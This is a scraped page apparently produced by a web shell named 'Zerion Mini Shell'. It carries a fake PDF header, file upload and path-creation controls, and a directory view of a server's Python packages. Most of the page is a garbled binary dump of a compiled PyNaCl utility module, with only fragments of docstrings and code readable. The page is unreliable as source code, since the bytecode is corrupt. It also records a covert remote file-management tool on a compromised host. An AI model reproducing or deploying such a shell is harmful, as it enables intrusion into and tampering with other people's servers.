%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/nacl/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/nacl/__pycache__/utils.cpython-312.pyc

�

�f%	�	���ddlZddlmZmZmZddlZddlmZedd��ZGd�de	�Z
Gd�d	�Zd
e	defd�Z
dd
ede	fd�Zej fd
ede	dej"de	fd�Zy)�N)�
SupportsBytes�Type�TypeVar)�encoding�_EncryptedMessage�EncryptedMessage)�boundc�~�eZdZUdZeed<eed<edeededededef
d	��Z	e
defd
��Ze
defd��Zy)
rze
    A bytes subclass that holds a messaged that has been encrypted by a
    :class:`SecretBox`.
    �_nonce�_ciphertext�cls�nonce�
ciphertext�combined�returnc�2�||�}||_||_|S�N)rr)r
rrr�objs     �,/usr/lib/python3/dist-packages/nacl/utils.py�_from_partszEncryptedMessage._from_parts"s ���(�m����
�$����
�c��|jS)zX
        The nonce used during the encryption of the :class:`EncryptedMessage`.
        )r��selfs rrzEncryptedMessage.nonce.s��
�{�{�rc��|jS)zP
        The ciphertext contained within the :class:`EncryptedMessage`.
        )rrs rrzEncryptedMessage.ciphertext5s��
���rN)
�__name__�
__module__�__qualname__�__doc__�bytes�__annotations__�classmethodrrr�propertyrr�rrrrs����

�M����	�
�#�
$�	��	��	��		�

�	��	���u����� �E� �� rc��eZdZdedefd�Zy)�StringFixerrrc�4�t|j��Sr)�str�	__bytes__rs r�__str__zStringFixer.__str__>s���4�>�>�#�$�$rN)rrrrr(r*r$rrr&r&=s��%�m�%��%rr&�bytes_inrc�$�|jd�S)N�ascii)�decode)r+s r�bytes_as_stringr/Bs���?�?�7�#�#r�sizec�,�tj|�Sr)�os�urandom)r0s r�randomr4Fs��
�:�:�d��r�seed�encoderc�d�tjj||�}|j|�S)z�
    Returns ``size`` number of deterministically generated pseudorandom bytes
    from a seed

    :param size: int
    :param seed: bytes
    :param encoder: The encoder class used to encode the produced bytes
    :rtype: bytes
    )�nacl�bindings�randombytes_buf_deterministic�encode)r0r5r6�raw_datas    r�randombytes_deterministicr=Js)���}�}�:�:�4��F�H��>�>�(�#�#r)� )r2�typingrrr�
nacl.bindingsr8rrr rr&r(r/�intr4�
RawEncoder�Encoderr=r$rr�<module>rDs��� 
�/�/����/�7I�J��! �u�! �H%�%�
$�e�$��$����e��
9A�8K�8K�$�

�$��$�%-�%5�%5�$�
�$r

Zerion Mini Shell 1.0